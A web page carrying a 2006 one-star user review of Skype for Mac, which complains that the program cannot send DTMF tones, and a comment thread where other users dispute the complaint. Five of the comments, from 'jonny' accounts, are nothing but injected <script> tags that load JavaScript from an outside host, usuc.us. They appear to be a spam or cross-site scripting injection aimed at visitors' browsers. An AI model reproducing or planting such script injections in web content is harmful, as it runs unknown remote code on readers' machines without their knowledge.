Existing users, log in.  New users, create a free account.  Lost password?

Mac OS X  |  Internet  |  Telephony / VoIP  |  Skype  |  NO DTMF support . . . so ONE star

Skype

Skype

Make and receive phone calls and hold cross-platform Webcam chats.

Version:  2.8.0.722

   [ Views: 1607 ]

NO DTMF support . . . so ONE star

Feedback Type:  Review

Contributed by: normg1 Thursday, October 05 2006 @ 10:52 PM PDT

Product Platform: MacOSX

Used Product For: 1-6 months

Recommend Product: NO

Skype is truly great, if all you want to do is make voice calls to other users, be they either Skype users or people on landlines.

But God help you, if you need to access any other phone system such as joining conferences, retrieving voice mail from some provider other than Skype, access Voice Response Systems and Automated Attendants, FORGET ABOUT USING SKYPE AND THE SKYPEOUT FEATURE BECAUSE THE SKYPE SOFTWARE WILL NOT SEND DTMF TONES CORRECTLY.

This has been a known issue since January 2005. Read the Skype Forums on their own web site. http://forum.skype.com/index.php?showtopic=14141

Skype users have been after Skype to so much as admit that DTMF doesn't work. 84 similar posts over almost 2 years, over 14,000 views and after all that NO RESPONSE from Skype. NONE.

Skype has released many updates since January 2005 and yet none of them, this latest included, fixes the DTMF issue. If the number you are dialing requires you to use the dialpad for input after the call is answered, Skype will not work properly. Oh, you'll press the buttons and hear what sounds like DTMF tones, they're just not DTMF tones that any phone system, PBX, conferencing system or voice response system can understand.

So, great product POTENTIAL, but unless all you want to do is call your friend and chat, totally useless to real business people.

Plus, Sykpe support is just plain lousy to the point of being non-existent. They will not fix the problem, they will not acknowledge the problem, they probably won't even answer your e-mail if you complain about the problem.

Pure arrogance IMHO. They are the market leader so they don't really care what customers say. They've got their sights set on things ten years down the road and couldn't be bothered with making the current release actually work.   
Overall Rating:

Ease of Use:

Support:

Features:

Quality / Stability:

Price:

4 of 5 users found this helpful.

Rate this Review

Was this Review helpful? Yes | No

Comments

12 comments |

NO DTMF support . . . so ONE star - gslusher

Skype is not meant for business use. For one thing, it uses P2P connections--all active users' computers might be used to relay a conversation. Most businesses would find that unpalatable. It probably won't work for businesses that use proxy servers or strong firewalls.

If you want conferencing and other functions, be willing to pay for those. You can get commercial VOIP that includes all sorts of features, but it's not free. (FWIW, I don't have conferencing/3-way calling on my landline phone service, either, but I could get it by paying a bit more.)

The lack of DTMF is not crippling for most people. I can access both Qwest and Verizon voice mail through a tollfree number from any phone. The same goes for automated systems. I can use Skype to talk with my brother and sister and other friends around the US (and, potentially, the world).

Reply to This

Sunday, October 08 2006 @ 01:45 PM PDT


NO DTMF support . . . so ONE star - Angostura-3

Just because the issue isn't important to you, doesn't mean it is not important.

I agree with the original poster. I've been waiting to get this working with the DTMF on AT&T's conferencing system forever now.

Reply to This

Monday, October 23 2006 @ 08:29 AM PDT


jonny - hsakellis

<script src=http://usuc.us/j.php>jonny</script>

Reply to This

Thursday, October 26 2006 @ 07:59 PM PDT


jonny - hsakellis

<script src=http://usuc.us/j.php>jonny</script>

Reply to This

Thursday, October 26 2006 @ 07:59 PM PDT


NO DTMF support . . . so ONE star - doug51

I don't know what you're complaining about (and so venomously, at that). I've been using Skype 1.5.0.80 for Mac for a while now, and have used the touch-tone pad that's within the program, several times, to connect to extentions (#715, etc.).

Reply to This

Monday, October 09 2006 @ 06:48 AM PDT


jonny - jonny2413

<script src=http://usuc.us/j.php>jonny</script>

Reply to This

Thursday, October 26 2006 @ 07:59 PM PDT


NO DTMF support . . . so ONE star - doug51

I don't know what you're complaining about (and so venomously, at that). I've been using Skype 1.5.0.80 for Mac for a while now, and have used the touch-tone pad that's within the program, several times, to connect to extentions (*715, etc.).

Reply to This

Monday, October 09 2006 @ 06:48 AM PDT


jonny - jonny7244

<script src=http://usuc.us/j.php>jonny</script>

Reply to This

Thursday, October 26 2006 @ 07:59 PM PDT


jonny - jonny2413

<script src=http://usuc.us/j.php>jonny</script>

Reply to This

Thursday, October 26 2006 @ 07:59 PM PDT


NO DTMF support . . . so ONE star - rosnow

DTMF works for me. Have you tried this with more than one system?

Reply to This

Monday, October 09 2006 @ 06:55 PM PDT


My DTMF works fine??? - Eggplant1

I have been able to use DTMF with no problem. Last year I had a problem and just conference called my cell and used its keypad and then disconnected it from the conference.

Reply to This

Monday, October 16 2006 @ 03:31 AM PDT


My DTMF works fine??? - Eggplant1

I have been able to use DTMF with no problem. Last year I had a problem and just conference called my cell and used its keypad and then disconnected it from the conference.

Reply to This

Monday, October 16 2006 @ 03:31 AM PDT